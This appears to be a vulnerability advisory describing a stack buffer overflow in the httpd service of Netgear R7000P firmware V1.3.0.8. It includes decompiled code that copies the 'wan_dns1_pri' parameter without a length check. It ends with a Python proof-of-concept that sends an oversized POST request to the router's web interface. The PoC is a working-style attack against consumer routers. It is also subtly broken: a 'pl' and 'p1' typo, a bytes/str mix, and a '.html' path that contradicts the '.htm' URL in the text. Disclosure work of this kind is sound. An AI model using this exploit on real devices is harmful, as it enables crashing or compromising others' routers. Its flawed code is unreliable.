Netgear R7000P has a Stack Buffer Overflow Vulnerability

Product

1. product information: https://www.netgear.com
2. firmware download: http://www.downloads.netgear.com/files/GDC/R7000P/R7000P-V1.3.0.8_1.0.93.zip

Affected version

V1.3.0.8

Vulnerability

The stack overfow vulnerability is in /usr/sbin/httpd. The vulnerability occurrs in the `sub_24500` function, which can be accessed via the URL `http://routerlogin.net/BAS_pppoe_flet.htm` .

```
23  sub_1A54C(a1, "DNSAssign", s1, 2048);
24  acosNvramConfig_set("wan_dns_sel", s1);
25  if ( dword_1E4814 )
26    acosNvramConfig_set("pppoe_wan_dns_sel", s1);
27  if ( !strcmp(s1, "1") )
28  {
29    sub_1A54C(a1, "wan_dns1_pri", s, 2048);
30    sub_1A54C(a1, "wan_dns1_sec", dest, 2048);
31    v2 = strcmp(dest, "...");
32    if ( !v2 )
33    {
34      v4 = -1586;
35      v3 = &v21;
36    }
37    v18 = 4;
38    if ( !v2 )
39      LOBYTE(v3[v4]) = 0;
40    v19 = s;
41    v20 = strlen(s);
42    v17[0] = 15;
43    if ( sub_D1B9C(v18, v19, v20, v17) )
44      return -1;
45    if ( dest[0] )
46    {
47      v18 = 4;
48      v19 = dest;
49      v20 = strlen(dest);
50      v17[0] = 15;
51      if ( sub_D1B9C(v18, v19, v20, v17) )
52        return -1;
53    }
54    sprintf((char *)v13, "%s %s", s, dest);
55    acosNvramConfig_set("wan_dns1", v13);
56    if ( dword_1E4814 )
57      acosNvramConfig_set(&unk_107ED5, v13);
58    v5 = v13;
59  }
```

vuln1

Parameter `wan_dns1_pri` , is controllable and will be copied to `v13` by `sprintf` . It is worth noting that the size is not checked, resulting in a stack overflow vulnerability.

```
93        v11 = strchr((const char *)v17, 32);
94        if ( v11 )
95        {
96          strncpy(dest, (const char *)v17, v11 - (char *)v17);
97          fprintf(v7, "nameserver %s\n", dest);
98          strcpy(s, v11 + 1);
99          if ( s[0] )
100           fprintf(v7, "nameserver %s\n", s);
101       }
102       fclose(v7);
103       snprintf((char *)&v18, 0x64u, "-%d", 1);
104       v13[1] = &v18;
105       v7 = 0;
106       v13[3] = 0;
107       v13[0] = "killall";
108       v13[2] = "dnsmasq";
109       eval(v13, ">/dev/console", 0, 0);
110     }
```

vuln2

Parameter `wan_dns1_pri` also can be copied to `v7` by `fprintf` . It is worth noting that the size is not checked, resulting in a stack overflow vulnerability.

PoC

```
import socket
import os

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
r.connect((ip, port))
rn = b'\r\n'
p1 = b'a' * 0x3000
p2 = b'wan_dns1_pri='+ pl +'&wan_dns1_sec=1' # payload -- wan_dns1_pri
p3 = b"POST /BAS_pppoe_flet.html" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)
```